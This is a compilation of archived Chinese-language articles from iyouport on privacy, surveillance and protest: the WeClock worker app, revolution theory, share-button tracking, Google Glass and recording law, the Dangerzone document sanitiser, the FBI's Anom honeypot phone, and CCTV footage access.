由UNI全球工会发起的一个名为 WeClock 的开源项目，旨在帮助工人收集然后可视化自己的工资和工作条件的数据，利用智能手机传感器来确定他们坐着、站着或行走的频率，以及他们在工作时的感觉。一旦收集到这些信息，工人们就可以控制自己的信息以及如何使用这些信息，Christina Colclough 说，她帮助建立了这个应用程序，现在经营着一家名为 Why Not Lab 的咨询组织，“我们不想进一步加深工人已经受到的监视”，她说，”我们不想成为科技巨头那样的人。”

Colclough 希望，最终，工人们可能会使用 WeClock 来显示他们的实际工作时间比约定的时间更长。目前，15名英国电视制作行业的自由职业者正在使用这款应用，他们表示，制作公司并不总是为他们所做的所有工作支付公平的工资。

“我喜欢我的工作”，一位正在使用 WeClock 的音响制作工人说。(该工人要求不透露姓名，因为担心在一个紧密的行业中遭到报复)，“但

我希望这能帮助揭露一下我们工作的荒谬时间”。〇

Gig Workers Gather Their Own Data to Check the Algorithm’s Math

原文

R 为什么今天的抗议活动没有导致革命？ - iyouport

你应该了解的现实少数派报告

【2021年6月1日存档】今天的抗议活动更多是由于对社会和经济不平等的愤怒，而不是对政权的根深蒂固的不满

当下是一个对现状充满暴力挑战的世界，从智利和伊拉克到香港、从加泰罗尼亚的独立运动到全球环保运动反抗灭绝(Extinction Rebellion)，这些抗议活动在媒体上通常被简单地描述为对 “制度” 的愤怒的表达，并且非常适合电视新闻报道，它们在屏幕上以15秒的色彩、烟雾和有时是血腥的形式闪现。

这些都是规模巨大的反抗运动。例如，智利有100万人参加示威，次日19人死亡，近2,500人受伤，2,800多人被捕。

该如何理解这些抗议运动？它们是革命性的吗？或者仅仅是一系列壮观的愤怒爆发？它们是否注定要失败？2019年伊拉克的抗议活动比世界上任何地方的抗议活动都更加血腥，已确认有300多人死亡

革命的主要特征

「图」

作为研究1789–99年法国大革命的历史学家，墨尔本大学 Peter McPhee 经常探讨现代世界五大革命之间的相似之处 —— 英国革命（1649年）、美国革命（1776年）、法国革命（1789年）、俄国革命（1917年）和中国革命（1949年）。

今天的一个关键问题是，我们目前看到的反叛运动是否也是革命。

从五大革命中总结出的革命模型可以告诉人们很多关于它们为什么会发生和为什么采取特定轨迹的原因。

其主要特征是：

- 长期压迫的积累，以及与当权者不一致的社会政治意识形态的流行
- 广泛抗议的短期诱因
- 当部分武装部队投靠叛军时，当权者无法控制的暴力对抗时刻来临
- 巩固反对现有政权的广泛胜利联盟
- 革命联盟分裂，群雄逐鹿
- 当革命领袖成功地巩固权力时，重新建立新的秩序

香港抗议者

为什么今天的抗议活动不是革命性的？

「图」

上述这种模式表明，当代世界的抗议运动并不是革命性的，或者说还不能算是。

最有可能成为革命的抗议运动是伊拉克，该政权已经表现出杀害本国公民的强烈意愿（仅10月份一个月内就有300多人被杀）；这表明任何对示威者的让步都将不可避免地被认为是不够的。

香港的抗议运动被强行确立的“国安法”终结，但整个抗议活动期间似乎并没有大量的警察或军队叛逃到抗议者队伍中，这可能非常说明问题。

- 这是战术问题，具体解释见《活动家如何瞄准6大权力支柱获取最强大的抵抗效果：行动主义（2）》
- 推荐这本书《为什么选票无法帮你改变糟糕的现状？真正改变应该来自哪里？：权力的杠杆》

人们的愤怒程度远高于反叛的程度；单纯的反叛很少会变成革命。

所以，很有必要区分改变社会和政治结构的重大革命、武装精英的政变、和针对特定问题的普通抗议形式。一个例子是2019年厄瓜多尔发生的大规模暴力抗议活动，迫使政府取消了一揽子紧缩计划，并最终取得了成功。厄瓜多尔人于10月开始抗议，当时一项行政法令生效，该法令取消了对汽油价格的补贴

香港和加泰罗尼亚的抗议活动属于另一种类型：它们的目标有限，只是为了政治主权，而不是为了更普遍的目标。

那么革命是什么样的？

1、所有成功的革命都是在一开始就建立了广泛的联盟，因此一系列社会团体的深层不满都能围绕着反对现政权而凝聚起来。

2、所有革命都是从群众支持开始的。因此，英国的反抗灭绝 (Extinction Rebellion) 很可能只能在推动不情愿的政府在气候变化方面做更多工作的温和目标上取得成功，而无法在实现更远大的宏伟目标上取得成功。

3、由随机选出的普通人组成的全国公民大会，提出改革方案。

4、群众抗议如果不能围绕核心目标建立团结，也会失败。例如，“阿拉伯之春” 在2010年开花结果后带来了许多希望，但是最终，除了突尼斯之外，其他地方都未能带来任何有意义的变革。

5、革命联盟可能会迅速瓦解，陷入内战 (如利比亚)，或未能及时解除武装部队的战斗力 (如埃及和叙利亚)。

为什么会有这么多的愤怒？

「图」

要理解今天如此明显的愤怒，最根本的是 “民主赤字” 。这指的是公众对20世纪90年代全球民主改革的高潮—— 伴随着经济全球化的警笛声 —— 所产生的高度不平衡的社会结果的愤怒。

这种愤怒的一种表现是民粹主义政客们熟练地抓住了恐惧的仇外心理的兴起，最著名的是特朗普，但也包括从巴西的贾伊尔·博索纳罗到菲律宾的罗德里戈·杜特尔特、以及匈牙利的维克托·欧尔班等许多人。

在其他地方，愤怒的是民众而非民粹主义。在从黎巴嫩和伊拉克到津巴布韦和智利的动荡中，人们的怨恨尤其集中在精英们无视透明度和公平公平的基本准则，把政府的钱装进自己和亲信的口袋里，从而导致大量腐败泛滥的证据。黎巴嫩的抗议者起初对崩溃的经济和腐败感到愤怒，但此后很快就开始呼吁建立全新的政治体制

当今动荡的大背景还包括联合国在试图通过基于规则的国际体系提供替代性领导力的过程中举步维艰。

世界经济状况也起到了一定的作用。在经济增长停滞不前的地方，轻微的价格上涨不仅仅是刺激因素，它们会直接爆发成叛乱，比如最近

黎巴嫩对WhatsApp征税和智利的地铁票价上涨。

这两个国家的民众已经有了根深蒂固的愤怒。例如，智利是拉丁美洲最富裕的国家之一，但是在经合组织的36个国家中，智利是收入平等程度最差的国家之一。

具有新特点的反叛运动

「图」

虽然一次性的反叛运动不可能导致革命性变革，但我们正在目睹具有新特点的21世纪的反叛运动。

了解抗议和反叛的长期历史和性质的最有影响力的方法之一来自美国社会学家查尔斯·蒂利（Charles Tilly）。

蒂利对欧洲历史的研究发现了两个关键特征。

首先，抗议的形式随着时间的推移而变化，这是经济和政治结构更广泛变化的功能。例如，前工业社会的粮食暴动让位于现代世界的罢工和政治示威。

而今天，“反抗灭绝”的跨国影响是一个新的全球时代的表征。此外，还出现了新的抗议战术，如香港的快闪和列侬墙。“反抗灭绝”运动在包括澳大利亚在内的许多国家组织了气候变化抗议活动

蒂利的第二个理论是，集体抗议，包括和平的也包括暴力的，都是地方性的，而不是如1789年或1917年那种持续数年重大的革命动荡。它是包括国家在内的权力“竞争者”之间冲突的持续表现。它是所有社会历史结构的一部分。

即使是在2019年的澳大利亚这样一个稳定和繁荣的国家，围绕着对共同利益的承诺，也有一种深深的愤怒。这是由于在气候变化和能源政策方面缺乏明确的领导力，自私自利的公司治理和堡垒政治造成的。

所有这些都表明，如果总理斯科特·莫里森认为他可以决定当代澳大利亚抗议活动的性质，甚至减少抗议活动，那么他不仅是白费劲，也足够证明他对历史的一无所知。〇

We live in a world of upheaval. So why aren’t today’s protests leading to revolutions?

原文

TS 跟踪即服务：共享按钮意味着什么？ - iyouport

你应该了解的现实少数派报告

【2021年6月1日存档】从这里开始他们一直在尾随你

如果您从来没有做过网站，您可能没有听说过 AddThis 或 ShareThis，但您很有可能遇到过它们。这些服务提供的 “分享” 按钮可以轻松地集成到网站中。然而，这个功能也被这些公司用来在整个网络上追踪访客。

在它们的技术名称背后，AddThis 和 ShareThis 是简单的服务：它们允许网络开发者和不太精通技术的用户在自己的网站上整合社交网络 “分享” 按钮。虽然它们也可能提供一些额外的服务，如数据分析，但这些工具主要是通过提供一种简单而免费的方式来整合 Facebook、Twitter、微信、微博和其他社交网络分享按钮而获得了吸引力。

任何人都可以使用这些服务，并在几个点击中为他们的网站提供一个插件或几行代码，一个非常简单和方便的服务，被数百万人使用。

然而，在这种看似有用和实用的服务背后，却隐藏着一个更黑暗的真相：这些公司通过跟踪和剖析网站访问者的行为数据来赚钱。

通过在数十万个网站上实施，这些寡头公司在跟踪人们在网络上的行为方面处于独特的优势地位，他们将人们的浏览历史记录编成档案，然后可以共享、处理和出售。

这些公司使用不同的跟踪技术，如众所周知的 Cookie 或画布指纹（AddThis 是最早在2014年开发和部署该技术的公司之一）。这基本上可以让他们给用户一个独特的身份标识，这样当您访问例如关于运动的页面A和关于狗的页面B时，这些公司就能够将您作为一个对这两个主题感兴趣的独特个体记录下来。将这一方案应用于足够多的网站（根据AddThis的数据，有1500万个网站），这些监视者就能获得一些接近于一个人的完整浏览历史。

- 在这里看到他们是如何跟踪您的具体介绍《单向镜的背后：监视资本家和政府的联手一直在如何折腾你？》
- 在这里看到追踪思考方式《浏览历史记录曝光你的内心全景图： 开源调查演示》

但这并不是这些服务可能收集的唯一信息。例如，在其隐私声明中，ShareThis 详细介绍了它可能收集的其他数据，包括一个人在页面上花费的时间、地理位置数据、或从页面上的搜索等等：

这导致的结果是，一些公司利用一个简单、免费和表面上似乎“无害”的服务来建立数以百万计的个人档案，大多数时候，被剖析行为心理的用户都不知情或不同意。

大多数互联网用户在点击“接受”cookie横幅时，确实会在没有注意到的情况下接受了AddThis或ShareThis的隐私政策。很多人已经讨论过这些横幅是如何无用和有害的，以及这种捆绑式的同意在GDPR下如何不是有意义的“同意”。这些公司与许多其他广告技术公司和数据经纪人一样，正在利用这种混乱来收集您的数据并对您进行描述。

「图」

收集到的数据和资料通常不会只放在这些公司的服务器里。虽然有些像 AddThis 这样的公司提供自己的数据分析工具，但他们也会通过 Lotame 等数据市场或 LiveRamp 等身份识别公司来利用这些数据的价值。

AddThis 在这方面的合作伙伴名单相当令人印象深刻，也让人了解到那些被收集到的数据可能最终的去向。

另外值得注意的是，AddThis 现在属于甲骨文，甲骨文是隐私国际组织在2018年向ICO提交投诉的数据经纪人之一。甲骨文也是竞购中国抖音的美国巨头，在这里看到甲骨文的真面目：《10年，美国巨头帮助中国构建的反乌托邦地狱》。

ShareThis 的做法有所不同，它似乎并不直接共享数据，而是提供了一个名为“Data Feed”的功能，可以与 theTradeDesk 或 AppNexus 等数据经纪人公司进行整合。这种数据共享带来的一个主要问题是，用户无法控制数据如何被这些其他公司使用，因为这些数据很容易被链接到您拥有的其他个人数据上，它是对您整个人的全面汇总。

退一步讲，我们观察到这些公司实际上是更大的在线跟踪生态系统中

的齿轮，为监视定位提供了另一个数据来源，并参与了整个行业的独特个人身份档案的整合。所有这些都是在没有得到用户有效同意或知情的情况下发生的。

虽然这些公司大多提供了让用户选择退出的方式（这里是ShareThis，这里是 AddThis），但是，对于后者，您必须准备好提交一个带有大量个人数据的表格才行。也很可能很少有用户会真正意识到这些退出选项的存在，也无法明显地看到这些选项。

事实上，第一次访问这些网站不一定会出现“同意”弹窗，因为您可能已经在其他网站上通过捆绑“同意”接受了他们的政策。一个更好的做法，被一些类似的服务（如AddToAny）使用，就是尊重“不跟踪”（DNT），在启用DNT的情况下不跟踪用户，这可以是一个好的开始。

总而言之，这些公司参与了对我们所有人的身份的秘密创建，这是在线跟踪生态系统的副作用，可能对现实生活产生重要的危害。您的在线活动不应该被提交给侵入性的监控，尤其不应该让您无法对其进行有效控制，更不应该来自于旨在使网站更容易使用的工具。〇

Tracking as a service: ShareThis to be profiled

原文

一个愚蠢带来的启示 - iyouport

你应该了解的现实监视之恶-关于你可能还不知道的真相监视资本主义的世界

【2019年9月19日存档】几年前，两位来自挪威的朋友在中国某大城市搭乘公交车途中与中国乘客发生了严重的争执，因为有中国乘客在未经允许的情况下使用手机拍摄挪威人，并将图像上传到了中国的社交媒体。事情的起因可能在很多中国朋友眼中是”完全微不足道”的事，但挪威人认为自己的隐私被侵犯了，要求删除内容，遭到拒绝后争执就发生了……我一直记得这件事，是因为它的确值得思考。

这不是个“老段子”，不仅仅因为这个问题到目前为止仍没有解决，而且，现在有必要用中文说说这件事。

下图是中国朋友发来的一张截屏，显示华为的“类谷歌”产品正在中国销售 ，据说销量还很好。

六年后的今天，嘲笑谷歌眼镜这件事仍然很有趣。谷歌眼镜就是傲慢、愚蠢的缩写，这家科技公司完全忽略了普通人的喜好，Google Glass 代表了我们想要嘲讽硅谷的一切，一群书呆子鼓捣出来的丑陋的东西，没人想要用它。

但是，在许多人将 Google Glass 视为关于技术采用失败的警示故事的背景下，我看到了一个*巨大的成功*。当然不是谷歌的成功，而是我们其他人的。谷歌眼镜是一个关于人类设置隐私边界和反击监视的故事—— 一个关于巨型公司的蹩脚产品如何让我们设想更美好未来的故事。

对谷歌眼镜的主要批评并不是它看起来很愚蠢（虽然，很明显，它确实如此），而是，人们因为佩戴 Glass 而被踢出酒吧，因为这种设备代表了无处不在的摄录形式。Glass 配备了一个用户可以随时激活的相机，正因此正确地吓坏了所有人。

“纽约时报”刊登了一篇关于 Glass 的头版报道，想知道这是否意味着我们所知道的隐私终结。一个名叫 Stop the Cyborgs 的组织即时推出，以阻止这种隐私荒漠和中央控制的未来。” 甚至是西雅图的酒吧，也因为禁止顾客在未经同意的情况下拍摄视频或照片的现行政策而闻名，他们阻止佩戴谷歌眼镜的顾客进入酒吧。

因此，当 Google 最终退出 Glass 项目时，它是一个重要的值得注意的反应。它不是通过设计而是通过文化来承认失败的。

激烈的反监控战斗前线发生的这类小规模冲突似乎无关紧要—— 但它们不仅有可能改变像谷歌这样的科技巨头的行为，还可以改变我们受法律保护的方式。每当我们邀请一种新的监视设备进入我们的生活时，就必然会对该设备的功能如何改变我们的隐私权开展法律对话。为了理解原因就需要一点点尝试，我认为这是值得的。

在美国，规定何时能够或不能记录某人的法律有几个层次。但是，大多数这些法律都是在没有智能手机、没有数字家庭助理、更没有谷歌眼镜的时代写成的。因此，它们主要关注的是政府监视的问题，而不是相互监视的个人或者监视客户的公司。这意味着随着相机和麦克风进一步渗透到我们的日常生活中，有越来越多的合法监视灰色地带正在诞生。

在联邦层面，窃听法规定故意拦截和记录其他人的电话或电子邮件是非法的。但是，如果这是你自己的谈话，事情就会变得有点棘手。窃听法案规定，只要有一方知道正在录制通话，就不再能构成窃听。这意味着其中一方可以合法地录制一个电话，即使另一方根本不知道自己正在被录音。这被称为“一方同意”，意思是：只有一方必须同意录音。有些州的法律在联邦政府之上行事，并将记录增加到“双方同意”的要求：各方必须同意任何录音。

但是，现在有很多案例并不属于这些联邦和州法律的细节之内。假设，你在和某人打电话，你认为这只是你们两个人在说话，但实际上对方在办公室里打开了免提，而第三个人在听。这违反了窃听法吗？法律并没有明确说清楚。“窃听法案”也没有规定如果你在酒吧里会有什么事情发生，并且佩戴了 Google Glass 的人在你知情或不知情的情况下进入，并录制了你。

或者以 #PlaneBae 为例，这是一个病毒式传播的故事，关于两个人在飞机上的艳遇被坐在他们身后的人拍摄了，未经许可。在飞机上被拍摄的那个女人在社交媒体上受到了追踪和骚扰。如果她被拍摄或者他们之间的谈话是违背她的意愿而被录制的，她是否可以因被侵犯而

起诉？简短的回答是：目前还不清楚。这将需要首先立案才能提交法官审理。

如果没有专门的法律保护我们不被拍摄或观看，那么案件就会被称为“reasonable expectation”，这是一个模糊不清，不断变化的标准。这似乎是一个决定隐私法的棘手方式。即使是最高法院也一样。你是否会期望自己在飞机上、酒吧里、在街上、在工作中不被任何人记录？法官会考虑这种期望是不是合理。曾经的很长一段时间以来，这个问题的答案几乎总是肯定的。

但是，随着时间的推移，技术—以及我们对所述技术的选择—已经慢慢消除了这种确定性。公共场所无处不在的监控摄像头意味着您不再能合理地期望不会被视频捕获。机场安全法规可能意味着您无法再合理地预期您没有在机场或飞机上被记录。

多年来，不仅仅是政府的监控发生了变化—我们中很多人自己也正在邀请监视设备进入我们的家庭和生活，这可能从根本上改变我们在隐私方面的期望。如果你选择将 Alexa 或 Google Home 放在你的房子里—— 一个能听你所说的一切的设备—— 你就已经从根本上改变了对合理期望问题的答案。

电子前沿基金会高级律师 Lee Tien 说：“有一个公平的论据，即 如果我在家中安装了这类智能语音设备，我就不再拥有不被监听的合理期望。”这甚至可能适用于来访的任何客人。密苏里州的圣路易斯大学最近宣布计划在该校校园的宿舍里安装 **2,300** 个 **Echo Dots**，也就是说所有学生都无法再对自己住的地方拥有合法的隐私期望？

这些已经不只是假设性的问题，而是我们要用行动回答的问题。

“法律思考你是否应该或不应该因对被记录而进行投诉的方式取决于社会背景和规范”，Tien说。这就是为什么我们拒绝谷歌眼镜不仅仅是一个关于时尚的决定，而是关于合理期望的决定：在西雅图的酒吧里你是去喝酒的，而不是去被人拍摄的，我们应该能够作出这样的期望。保护这种期望的唯一方法是通过我们对技术设定的界限。

那么问题就在于：我们愿意从设备上放弃多少隐私？

从 Google Home 到 Facebook 的门户网站，再到亚马逊的 Echo 系统，这些设备很可能会通过消除“没有人（AI或人类）正在监听我们所说的内容”的合理期望来侵蚀我们的基本隐私权。

隐私的终结可能会让人感觉有点像气候变化：两个都是反乌托邦的未来，我们正朝着没有退路的方向前进。它们令人感觉无法抗拒，无法通过个人决定来改变，但两者其中之一至少是可以改变的，那就是隐私。

虽然真正的气候变化解决方案也掌握在少数大公司手中，但是，保护安全和隐私实际上是我们每个人都可以做点什么的。与更换使用金属吸管来保护环境的结果不同，拒绝把监听设备放进自己的家可以起到立竿见影的自我保护效果。甚至能在法律层面起作用，如上述。

这是值得为之奋斗的。你说呢？

更多详见分类目录 Big Tech – “关于谷歌”

原文

一个简单的新工具可让您安全地打开电子邮件附件 - iYouPort

你应该了解的现实少数派报告

它会获取潜在的恶意文件，并帮您安全地对其进行清理

「图」

「图」

长期以来，打开不受信任的发件人发送的电子邮件附件一直是被黑客入侵的最简单方式之一。

但是与其他常见的安全漏洞不同，曾经大多数人没有实际的方法来避免打开偶尔出现的恶意附件（除了技术精湛的人之外）。

现在，一名技术人员提出了解决方案。

First Look Media 信息安全负责人 Micah Lee 计划在 GitHub 上发布一个名为 Dangerzone 的免费工具的内测版，并计划在印度果阿举行的 Nullcon 会议上对此进行讨论。

Dangerzone 是一个简单的隔离程序，它使任何人都可以清理不信任的文档，过滤掉这些文件中可能携带的任何跟踪信标、恶意脚本或其他杂物。

像所有记者一样，Intercept 的新闻编辑室有时需要打开未知来源发送的附件，其中可能包含从钓鱼到恶意软件的所有内容。经过一些测试，Lee 计划将 Dangerzone 托管在自己的网站上，就如他先前开发的基于Tor的文件共享工具 Onionshare。

Lee 说：“从不可靠的来源打开附件很危险，它们可能是恶意的，并且会入侵您的计算机。我希望人们可以自己确保文件安全，而不必将文件发送给安全团队中的其他人。我想让所有人都更容易做到这一点。”

黑客经常利用恶意附件在目标网络中站稳脚跟，比如俄罗斯人对乌克兰电力公司的网络攻击就始于受污染的 Microsoft Office 文档，还有最近以中东地区政府为目标的伊朗间谍攻击行动，也是使用邮件诱骗。

甚至被中国政府针对的藏传佛教僧侣都开玩笑说，他们经过多年的磨炼后已经学会了“不信任任何附件”。

- 中国针对藏人的攻击还包括利用加密通信，见《警告：WhatsApp文本流中的恶意链接》

「图」

「图」

Dangerzone 允许您在计算机上的沙盒中打开文档（PDF、Word文档、PowerPoint 及 .jpg，.png 和 .gifs 等图片格式都可以）。Dangerzone 使用的是流行的免费容器 Docker，当您首次运行该程序时，它会自动安装。

在沙箱中打开可疑文件后，Dangerzone 使用开源软件 LibreOffice 将不是 PDF 的内容都转换为PDF格式。然后，它使用开源软件 Poppler 和 ImageMagick 将PDF进一步缩小为红色、绿色和蓝色像素。

利用这些像素它可以在第二个容器中重建文档，重新创建经过清理的PDF，没有隐藏的代码、动画甚至网页链接。（该软件将仅输出PDF，而不考虑其采用的文件格式。）

Dangerzone 还使用光学字符识别软件 Tesseract 将PDF中的字母和数字转换回机器可读的文本，从而使您可以从中复制文本并搜索文件。

可以想象就如一个人在纸上打了个喷嚏，把这张纸放进复印机，输出的一张新的纸上面的文字与原版相同，但没有任何潜在的流感病毒风险。

同样，Dangerzone 生成的文档也不是精确的副本。当WIRED测试 Dangerzone 的早期版本时，它可以完美地从大多数 PowerPoint、Word 和 PDF 文件中创建经过清理的PDF，尽管在某些情况下需要花几分钟时间。

但是其他类型文档的输出有点混乱：您可能会想到，GIF变成了PDF的结果，在某些页面上充满了一些奇怪的像素化图像；一些

PowerPoint 幻灯片由于某种原因被旋转了90度。还一个带有嵌入式视频的 PowerPoint 导致显示 “失败:(” 的消息。

新闻自由基金会安全主管 Harlo Holmes 表示，尽管有这些怪癖和一些错误，但 Dangerzone 仍是一项为时已晚的尝试，它可以帮助普通人毫无恐惧地打开附件。

Holmes 指出，一些技术精湛的用户已经使用其他技巧来阻止危险附件了，例如在虚拟机或临时操作系统 Tails 中打开它们，或者利用 Qubes 操作系统的功能将PDF转换为 “受信任的PDF。”

但 Dangerzone 可以为绝大多数不擅长运行晦涩的操作系统和虚拟机的人们带来相同的安全性。

Holmes 警告说，像任何安全软件一样，没有人应该对 Dangerzone 的早期测试版本抱有太大的信任。

Lee 自己也承认，攻击者可以在 LibreOffice 中找到漏洞、在 Docker 中也可以找到漏洞，两者合起来可能会让恶意代码脱离隔离区并在目标计算机上运行。

但是，Dangerzone 仍然大大提高了攻击门槛。“在任何人都可以轻松地运行它并期望它能够经受最有针对性和极端的攻击之前，它还有很长的路要走。”

对于绝大多数必须定期打开陌生人发来的附件的人们来说，即使是不完善的解决方案也可能比其他解决方案更好，比如，掷骰子。〇

A Simple New Tool Lets You Open Email Attachments Without Fear

原文

一个蜜罐 Pixel 4a 手机 - iyouport

你应该了解的现实

这个蜜罐存在于100多个国家的11800多台设备中。这只是官方公开的数字。

购买电子设备时有两个最基本的注意事项：1、别贪便宜，可能很危险；https://t.me/iyouport/8776

2、尤其是当您是敏感人士的时候，非常重要的东西尽可能不要网购：

本文只是所有相关案例中的一个。

先说一句废话：没有人对毒贩感兴趣，我们考虑的是为隐私安全和人身安全而选择电子设备的异议人士、活动家和反抗者。统治阶级能用这种方法抓捕毒贩，他们就可以用同样的方法抓捕任何人。

FBI 蜜罐中使用的 “Anom” 手机神秘地出现在二级市场上。记者买了一个回来。

这款光滑的黑色手机看起来非常正常。

用密码解锁这个谷歌 Pixel 4a，可以看到一些常见的应用程序：Tinder、Instagram、Facebook、Netflix，甚至还有 Candy Crush。但这些应用都无法使用，点击它们的图标也没有任何反应。重置手机并输入另一个密码，你就打开了该设备的一个完全不同的部分，有一个新的背景和新的应用程序。现在代替旧的应用程序的是一个时钟、一个计算器和设备的设置。

点击计算器并没有打开一个计算器—— 而是打开了一个登录屏幕。

屏幕上写着 “输入Anom ID” 和一个密码。隐藏在计算器中的是一个名为 Anom 的隐蔽消息应用程序，上个月记者了解到它是联邦调查局的一个蜜罐。

用户认为在 Anom 上认为可以安全地进行交流，该应用程序会对他们的信息进行加密。然而他们想错了：包括联邦调查局在内的一组国际执法机构正在监控他们的所有通信，并在6月宣布逮捕了数百人。国际当局召开了新闻发布会，吹嘘行动的成功，但对这些蜜罐手机的实际功能提供的细节非常少。

主板从一个不知情的人那里获得并分析了一部 Anom 手机，他是在一个分类广告网站上买的。在该网站上，该手机被宣传为只是一个廉价的安卓设备。但当这个人收到手机时，他意识到这不是一部普通的手机，在与主板联系后，发现它包含秘密的 Anom 应用程序。

买下这部手机的人说，“当我意识到我刚买的是什么时我就慌了”。主板允许该人匿名，以保护他们免受任何报复。

当启动手机时，它显示了一个名为 “ArcaneOS” 的操作系统的标志。关于 ArcaneOS 的公开信息非常少。正是这个细节让一些最终拥有 Anom 手机的人意识到他们的设备有些不正常。

网上讨论该操作系统的大多数帖子似乎是由最近无意中购买了 Anom 设备的人写的，他们发现该设备的工作方式与普通手机不同。

在联邦调查局宣布 Anom 行动后，一些 Anom 用户争先恐后地想要摆脱他们的设备，包括在网上把它卖给不知情的人。

主板获得的这部手机的持有者是在澳大利亚，那里的当局最初将 Anom 设备作为试点进行传播，然后扩大到其他国家。他们说，他们联系了澳大利亚联邦警察（AFP），警察可能对这部手机或出售这部手机的人感兴趣；而当AFP没有跟进时，这个人同意以他们支付的相同价格将手机卖给主板的记者。他们说，他们最初是从一个类似于 Craigslist 的网站上买的。

主板采访的另一位购买了其中一部手机的人说他在立陶宛。Anom 设备的安全设置页面的照片。来自主板

“我在网上买了这个手机，价格低得离谱，现在我明白为什么了”，上述第二位持有者说。该人还向主板提供了他们购买的设备的照片和视频。在这种情况下，Anom 的登录屏幕似乎无法访问，但其他设置，如诱饵PIN码仍然存在。他们开玩笑说：“这部手机可能是某个毒贩子用过的：D”。

今年上半年里，安卓爱好者和开发者论坛的成员一直在努力帮助购买

这些奇怪手机的人试图将它们恢复到可用的状态。

“我无法安装任何应用程序，因为没有[应用程序商店]，所有的东西都被删除了”，一位购买了二手手机的人3月份在一个德语论坛上写道，当时联邦调查局及其合作伙伴停止了这一行动。

“如果他也有权限/数据，他可以手动改变手机的所有设置”，一位论坛用户回答说。ANOM 设备上的加密密码输入屏幕的照片。来自主板

“这很奇怪 … 你会看到启动屏幕上说手机已经被修改了，但启动器还是被锁定的……。对我来说没有任何意义 :/ ”，另一个论坛上的一个用户回答面临类似问题的人时说。

“我遇到了同样的情况。一个朋友得到了一个二手的 pixel 4a，它正在运行 arcaneos，与OP所描述的问题相同。没有任何东西可以用”，其他人在该主题中补充道。

在主板确定 ArcaneOS 与 Anom 设备有关并购买了该手机后，某个论坛上的其他人也确认了这种联系。

这款手机

「图」

除了 ArcaneOS，该手机还有一些其他有趣的功能和设置。

通常情况下，安卓手机有一个设置，可以关闭或打开位置跟踪。在这个设备上似乎没有这项设置。

这款手机提供 “PIN码扰乱” 功能，PIN码输入屏幕会随机重新排列数字，如果看到有人输入了PIN码，可能会阻止第三方弄清设备的密码。屏幕顶部的状态栏包括一个似乎是手机擦除功能的快捷方式，图标显示的是一张正在通过碎纸机的纸片。根据主板审查的手机设置，用户还可以设置一个 “擦除码”，这将从锁屏状态下擦除设备，并可以将手机配置为在特定时间段内不在线时自动擦除。

加密手机公司通常提供类似的数据销毁功能，至少在某些情况下，公司在手机被当局抢走的情况下进行远程擦除，可以阻碍调查。司法部已经指控多名据称为 Anom 工作的人，部分原因是他们利用这种擦除功能 “妨碍执法”。

声称注重安全和隐私的安卓操作系统 GrapheneOS 的主要开发者丹尼

尔·米凯（Daniel Micay）还向主板提供了最近有人发给他的第三台 Anom 设备的图片。那部手机是谷歌 Pixel 3a，表明 Anom 随着时间的推移将其软件加载到多个迭代的手机上，而 Anom 的登录屏幕并不能立即访问。

“计算器应用程序理论上可以打开聊天，但在这里它不再起作用了。他们说这需要输入一个特定的计算结果”，米凯说，“颇为有趣的戏剧性”。Anom 设备的隐藏应用程序页面的照片。来自主板

ANOM 设备正常应用程序页面的照片。来自主板。

米凯说，其他人声称 Anom 使用了 GrapheneOS 本身，但 “听起来很可能只是他们向一些人宣传说它使用了GrapheneOS，但这没有任何依据”。

主板获得的手机和视频中的手机都有一个相同的联系人列表，保存在设备的无害部分。然而，其中至少有一些似乎是由 Github 上的一个特定工具生成的佚名联系人。被列入联系人名单的人都没有对评论请求作出回应。

凭借其擦拭功能和隐藏的用户界面，Anom 设备看起来确实像严重的有组织的犯罪分子过去使用过的其他加密电话公司的设备，如 Encrochat 和 Phantom Secure。律师事务所巴恩斯&索恩堡（Barnes & Thornburg）圣地亚哥办事处诉讼部合伙人、前司法部负责 Anom 案件的首席检察官安德鲁·杨（Andrew Young）称，这在很大程度上是故意的。

他之前在电话中告诉主板，“我们不能只做一个好的调查，我们必须要做一个好的公司。这包括提供客户服务和解决用户的技术问题，并有可能与也许会针对该公司的黑客打交道”。

Anom 公司开始的时候，一位联邦调查局的机密人员（CHS），以前曾销售过 Phantom Secure 和另一家名为 Sky Global 的公司的设备，他们正在开发自己的产品。然后，CHS “向联邦调查局提供了这个名为 Anom 的下一代设备，用于正在进行的和新的调查”，法庭文件写道。

6月，联邦调查局及其在澳大利亚和欧洲的执法伙伴宣布，在他们多年来偷偷窃听 **Anom** 用户的信息后，有**800**多人被捕。总的来说，当局从**100**多个国家的**11800**多台运行 **Anom** 软件的设备上获得了**2700**多万条信息，方法是默默地添加一个额外的加密密钥，使机构能

够阅读信息的副本。根据法庭文件，据称走私可卡因的人都使用 Anom 来协调他们的大规模贩卖行动。

联邦调查局拒绝发表评论。〇

We Got the Phone the FBI Secretly Sold to Criminals

原文

一旦您的影像被监视摄像头捕获，会发生什么？ - iyouport

你应该了解的现实

【2020年4月22日存档】法律可能帮不上什么。大多数闭路电视摄像机运营商都以某种方式违反法律，并且随着技术的飞速发展，这一问题很严重……

现在是上午7:06，我正在盯着今天的第一台CCTV监视摄像机 —— 这是一部无聊的多机位短片的开场画面。这是我每天上班的时间。

这里说的 “多机位” 指的是**90**台监视摄像机！

90个CCTV镜头可以捕捉到我从自己的公寓到办公室的42分钟路程的每一步，平均大约每两分钟一次。

我知道有多少台摄像机记录了我的上班全程，因为我计算并记录了每个监视器的位置，为的是随时找出被拍摄到的图像将会被如何处理、以及被拍摄者是否可以对其进行控制。

从理论上讲，这应该足够简单。但仅仅是理论上。

根据信息专员办公室的说法，CCTV的大多数用途都受到《数据保护法》（DPA）的保护，这意味着您有权查看您自己被拍摄和收集的图像 —— 或者说，如果您有时间和耐心向所有操作CCTV监视器的人解释DPA法案的话。

令人沮丧的是，我这么做了。

意识到我需要穿显眼的衣服，这样人们才更容易通过监视镜头找到我，于是我打扮得像个小丑。

效果不是很好，我带了4个气球，可能周围人认为我是YouTuber，正在进行一项社会实验，并且显然，他们都躲着我。

从地铁到办公室的步行大约需要7分钟。我在那条路线上看到了25台监视摄像机，大约每17秒就可以看到一台。

出于明显的原因虽然我不想说这也太像监狱了 —— 伦敦是世界上受监视最多的城市之一，平均每1000人拥有68个摄像头 —— 但的确有点过头。

- 这个关于一个全球监视密集度的调查报告《美国和中国在监视公民方面引领全球》

英国**CCTV**监视器行业的价值估计为**23.5**亿英镑。

